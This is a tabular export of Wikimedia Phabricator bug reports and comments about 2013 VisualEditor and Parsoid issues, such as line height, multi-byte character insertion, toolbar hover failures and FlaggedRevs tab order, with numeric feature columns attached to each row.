https://gerrit.wikimedia.org/r/79804",,,1377019844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsixjppbefsch6bho32b,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.411764705882353,1.0,"Change 79804 merged by jenkins-bot:
Increase line height in beta warning

GERRIT_URL"
245132,VisualEditor: Line height on beta warning message is too narrow,"Change 79804 had a related patch set uploaded by Esanders:
Increase line height in beta warning

https://gerrit.wikimedia.org/r/79804",,,1376928825,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsixjppbefsch6bho32b,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.65,1.0,"Change 79804 had a related patch set uploaded by Esanders:
Increase line height in beta warning

GERRIT_URL"
55012,VisualEditor: Repeated insertion of multi-byte characters,"See the third example at https://www.mediawiki.org/w/index.php?title=User:Miya/VE4&oldid=762831.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1376863380,1378958990.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-uwxs5htjvrwhn73aykjk,task_description,resolved,True,c1,3,False,False,True,6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.625,"See the third example at URL

--------------------------
**Version**: unspecified
**Severity**: normal"
243323,VisualEditor: Repeated insertion of multi-byte characters,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958990,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uwxs5htjvrwhn73aykjk,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,22.0,4.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring."
243319,VisualEditor: Repeated insertion of multi-byte characters,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943150,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-uwxs5htjvrwhn73aykjk,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
243316,VisualEditor: Repeated insertion of multi-byte characters,"This might have been fixed with the changes in gerrit 79451 - David, does this fit the same pattern?",,,1376949133,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uwxs5htjvrwhn73aykjk,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.9523809523809523,"This might have been fixed with the changes in gerrit 79451 - David, does this fit the same pattern?"
54987,"VisualEditor: Editing toolbar CSS disappears on hover, then the buttons do nothing","I cannot take a screenshot ;)

* Scroll over a the toolbar
The button group outline, focused button box, and finger pointer flicker for a frame, then disappear.  Now the buttons to not go <click>, and I have the arrow pointer.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1376814420,1406756283.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-j5vjfdev7u6pvuctl7bs,task_description,declined,True,c1,3,True,False,False,6,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,3.6619718309859155,0.647887323943662,"I cannot take a screenshot ;)

* Scroll over a the toolbar
The button group outline, focused button box, and finger pointer flicker for a frame, then disappear.  Now the buttons to not go <click>, and I have the arrow pointer.

--------------------------
**Version**: unspecified
**Severity**: normal"
241653,"VisualEditor: Editing toolbar CSS disappears on hover, then the buttons do nothing","Still can't reproduce, unfortunately. :-(",,,1406756283,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j5vjfdev7u6pvuctl7bs,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,"Still can't reproduce, unfortunately. :-("
241648,"VisualEditor: Editing toolbar CSS disappears on hover, then the buttons do nothing","My VE just died with a slightly different behavior.  Now, the highlighting and outlining is drawn correctly, and persists, also the pointer is the index finger, indicating elements are click-enabled.  However, clicking Nothing Happens.

FF 23.0.1",,,1376816801,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-j5vjfdev7u6pvuctl7bs,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,4.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,6.0,14.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.326530612244898,0.7755102040816326,"My VE just died with a slightly different behavior.  Now, the highlighting and outlining is drawn correctly, and persists, also the pointer is the index finger, indicating elements are click-enabled.  However, clicking Nothing Happens.

FF 23.0.1"
241644,"VisualEditor: Editing toolbar CSS disappears on hover, then the buttons do nothing","Created attachment 13119
screenshot, I lied

**Attached**: {F11406}",,,1376814590,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-j5vjfdev7u6pvuctl7bs,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8333333333333334,"Created attachment 13119
screenshot, I lied

**Attached**: {F11406}"
54981,"VisualEditor: ""Some magic combination of arrow keys and actions involving the heading level toolbar"" scrambles document","screenshot

I opened a wiki page, clicked ""Edit"", modified some stuff in the first paragraph involving links and a footnote reference.  Next, I demoted my outline from Page title to Heading, lowering all subheadings as well.  Said action was performed by triple-clicking each heading like, then mousing to the heading toolbar and clicking on the next level down.

I believe I was on the last heading, when some magic combination of arrow keys and actions involving the heading level toolbar (I may have cursored down and hit <return> this time) caused a total HsiT scramble.  A sequence of characters of roughly equivalent length replaced the heading line I had been editing.

The damage seems to have spread elsewhere in the document.  See attached screenshot.

Separate but related bugs from the same editing session have been filed, jfyi to flesh out this story ;)

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F11397}",High,80.0,1376813040,1377831473.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-4rr6da3rjeo7zsqa7vfz,task_description,declined,True,c1,3,True,False,True,6,,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,5.333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,3.0,6.333333333333333,0.0,1.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,0.0,0.0,0.0,0.0,11.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,4.666666666666667,1.3333333333333333,7.666666666666667,0.3333333333333333,1.6666666666666667,7.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,2.3333333333333335,6.333333333333333,2.0,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,0.3333333333333333,1.3333333333333333,0.0,3.3333333333333335,0.0,0.0,0.6666666666666666,4.109452736318408,0.7462686567164178,"screenshot

I opened a wiki page, clicked ""Edit"", modified some stuff in the first paragraph involving links and a footnote reference.  Next, I demoted my outline from Page title to Heading, lowering all subheadings as well.  Said action was performed by triple-clicking each heading like, then mousing to the heading toolbar and clicking on the next level down.

I believe I was on the last heading, when some magic combination of arrow keys and actions involving the heading level toolbar (I may have cursored down and hit <return> this time) caused a total HsiT scramble.  A sequence of characters of roughly equivalent length replaced the heading line I had been editing.

The damage seems to have spread elsewhere in the document.  See attached screenshot.

Separate but related bugs from the same editing session have been filed, jfyi to flesh out this story ;)

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F11397}"
241332,"VisualEditor: ""Some magic combination of arrow keys and actions involving the heading level toolbar"" scrambles document","I *believe* that this may be related to bug 53360, which is now fixed, and so will mark as ""WORKSFORME"" (I can't make ""FIXED"" stand up given the lack of reproducible steps from these kinds of issues).

Sorry for the disruption. :-(",,,1377831473,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rr6da3rjeo7zsqa7vfz,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,4.0,14.0,2.0,0.0,7.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4107142857142856,0.8392857142857143,"I *believe* that this may be related to bug 53360, which is now fixed, and so will mark as ""WORKSFORME"" (I can't make ""FIXED"" stand up given the lack of reproducible steps from these kinds of issues).

Sorry for the disruption. :-("
54913,Move info about template-affected attributes from meta tags into data-mw,"We currently use meta tags to mark up template-affected attributes:
http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Templates_in_attributes

This turned out to be problematic for several reasons:

These meta tags can end up in foster-parentable positions for inputs like this:

<table><tr title=""{{echo|foo}}""></tr></table>

They can end up outside of an extension fragment, which makes it hard to reuse fragments. This currently blocks https://gerrit.wikimedia.org/r/#/c/65575/

We have been discussing moving this information to data-mw ever since we added that as a public interface. Subbu has sketched a possible encoding in https://gist.github.com/subbuss/6092148/raw/e153a444b6e252d9eebd690e996e28cdbb859df7/gistfile1.txt

We should work this out further in http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Templates_in_attributes
and implement the resulting spec. 

An issue to consider is the interaction between template content editing (http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Template_content) and templated attributes. For simple cases like echo '[[{{echo|foo}}]]' | node parse, we currently only add mw:ExpandedAttrs/Transclusion info. For echo '<div title=""{{echo|foo}}"">{{echo|</div>}}' | node parse however we add both mw:Transclusion and mw:ExpandedAttrs/Transclusion. The templated attribute can already be edited as wikitext in the mw:Transclusion interface (data-mw.parts). We might want to omit the attribute interface here in favor of the general template-affected content interface.

Fragment reuse is another issue to consider. We currently don't reuse attribute expansions. These are relatively rare and cheap, so this might be ok for now. We should however choose a representation that makes it easy to add caching for these later.

Currently the VisualEditor completely ignores information about template-affected attributes, so no deployment coordination will be required as long as the mw:Transclusion interface does not change.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1376628000,1386110602.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-cxh6tjsfd6x3hseyrbib,task_description,resolved,True,c1,3,True,False,False,6,,0.25,0.0,0.25,0.5,0.5,4.75,1.25,0.0,0.0,0.0,3.0,1.25,0.0,0.25,0.0,2.25,0.25,5.75,9.5,0.0,1.75,0.5,0.5,0.0,0.5,0.25,0.0,0.25,1.25,0.25,0.25,3.75,0.75,0.5,1.0,0.0,0.0,0.25,0.25,0.5,0.25,0.25,0.5,4.5,0.0,0.5,0.0,0.25,0.25,11.25,1.0,1.25,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.25,0.0,3.5,2.25,8.75,0.75,1.25,7.0,0.0,0.0,0.0,0.0,4.75,0.0,0.25,0.0,3.25,9.5,4.0,0.0,1.0,0.0,3.25,0.0,0.5,1.25,0.0,1.25,0.25,0.0,2.0,4.471716132823979,0.7583382309726712,"We currently use meta tags to mark up template-affected attributes:
URL

This turned out to be problematic for several reasons:

These meta tags can end up in foster-parentable positions for inputs like this:

<table><tr title=""{{echo|foo}}""></tr></table>

They can end up outside of an extension fragment, which makes it hard to reuse fragments. This currently blocks URL

We have been discussing moving this information to data-mw ever since we added that as a public interface. Subbu has sketched a possible encoding in URL

We should work this out further in URL
and implement the resulting spec. 

An issue to consider is the interaction between template content editing (URL and templated attributes. For simple cases like echo '[[{{echo|foo}}]]' | node parse, we currently only add mw:ExpandedAttrs/Transclusion info. For echo '<div title=""{{echo|foo}}"">{{echo|</div>}}' | node parse however we add both mw:Transclusion and mw:ExpandedAttrs/Transclusion. The templated attribute can already be edited as wikitext in the mw:Transclusion interface (data-mw.parts). We might want to omit the attribute interface here in favor of the general template-affected content interface.

Fragment reuse is another issue to consider. We currently don't reuse attribute expansions. These are relatively rare and cheap, so this might be ok for now. We should however choose a representation that makes it easy to add caching for these later.

Currently the VisualEditor completely ignores information about template-affected attributes, so no deployment coordination will be required as long as the mw:Transclusion interface does not change.

--------------------------
**Version**: unspecified
**Severity**: normal"
237667,Move info about template-affected attributes from meta tags into data-mw,"This was fixed by 283bfd554bf1, so closing this bug. Please reopen if there is something we overlooked.",,,1386110602,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cxh6tjsfd6x3hseyrbib,task_subcomment,,True,c1,3,True,,,22,,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.35,0.95,"This was fixed by 283bfd554bf1, so closing this bug. Please reopen if there is something we overlooked."
237662,Move info about template-affected attributes from meta tags into data-mw,Meta tags in foster-parentable positions aren't really an issue anymore.,,,1380306722,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-cxh6tjsfd6x3hseyrbib,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Meta tags in foster-parentable positions aren't really an issue anymore.
54848,VisualEditor: FlaggedRevs inserts its tabs in the midst of the edit and edit source tabs,"Screenshot

On wikis with FlaggedRevs, the interface historically displays buttons in the order [edit][pending changes]. This seems logical.

Under the VE (screenshot attached) it goes [edit][pending changes][edit source]. This doesn't ;p. Restoring the previous setup (so that it would show as [edit][edit source][pending changes]) would be good.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11122}",High,80.0,1376490900,1391808894.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bdoqslcxagfk2qftlhdb,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,13.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,4.23404255319149,0.6382978723404256,"Screenshot

On wikis with FlaggedRevs, the interface historically displays buttons in the order [edit][pending changes]. This seems logical.

Under the VE (screenshot attached) it goes [edit][pending changes][edit source]. This doesn't ;p. Restoring the previous setup (so that it would show as [edit][edit source][pending changes]) would be good.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11122}"
233854,VisualEditor: FlaggedRevs inserts its tabs in the midst of the edit and edit source tabs,"Change 110862 merged by Catrope:
Don't try to insert the pending changes in the middle of VE's 'Edit' and 'Edit source'

https://gerrit.wikimedia.org/r/110862",,,1391808827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdoqslcxagfk2qftlhdb,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,23.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,13.0,16.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6129032258064515,0.8387096774193549,"Change 110862 merged by Catrope:
Don't try to insert the pending changes in the middle of VE's 'Edit' and 'Edit source'

GERRIT_URL"
233846,VisualEditor: FlaggedRevs inserts its tabs in the midst of the edit and edit source tabs,"Change 110862 had a related patch set uploaded by Alex Monk:
Don't try to insert the pending changes in the middle of VE's 'Edit' and 'Edit source'

https://gerrit.wikimedia.org/r/110862",,,1391358454,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdoqslcxagfk2qftlhdb,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,22.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,11.0,16.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6216216216216215,0.8648648648648649,"Change 110862 had a related patch set uploaded by Alex Monk:
Don't try to insert the pending changes in the middle of VE's 'Edit' and 'Edit source'

GERRIT_URL"
233839,VisualEditor: FlaggedRevs inserts its tabs in the midst of the edit and edit source tabs,"For me it shows [pending changes][edit] without VE (and the comments indicate this is the intended behaviur), so I think with VE should be [pending changes][edit][edit source].",,,1391358288,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-bdoqslcxagfk2qftlhdb,task_subcomment,,True,c1,3,True,,,30,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,9.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,6.0,4.285714285714286,0.8571428571428571,"For me it shows [pending changes][edit] without VE (and the comments indicate this is the intended behaviur), so I think with VE should be [pending changes][edit][edit source]."
54845,VisualEditor: Inspector fails to render correctly for embedded buttons,"Hasn't been an issue until now as we've only used inspectors on text, but now we have inspectors for MW extensions (e.g. Math) we need it to work in block mode as well.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1376488380,1376511662.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-4hkjv2ath5m5txk2nfy2,task_description,resolved,True,c1,3,True,False,True,6,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,7.0,4.0,0.0,2.0,0.0,5.0,0.0,12.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6491228070175437,0.7543859649122807,"Hasn't been an issue until now as we've only used inspectors on text, but now we have inspectors for MW extensions (e.g. Math) we need it to work in block mode as well.

--------------------------
**Version**: unspecified
**Severity**: normal"
233583,VisualEditor: Inspector fails to render correctly for embedded buttons,"Change 79055 merged by jenkins-bot:
Fix rendering of inspector for embedded buttons

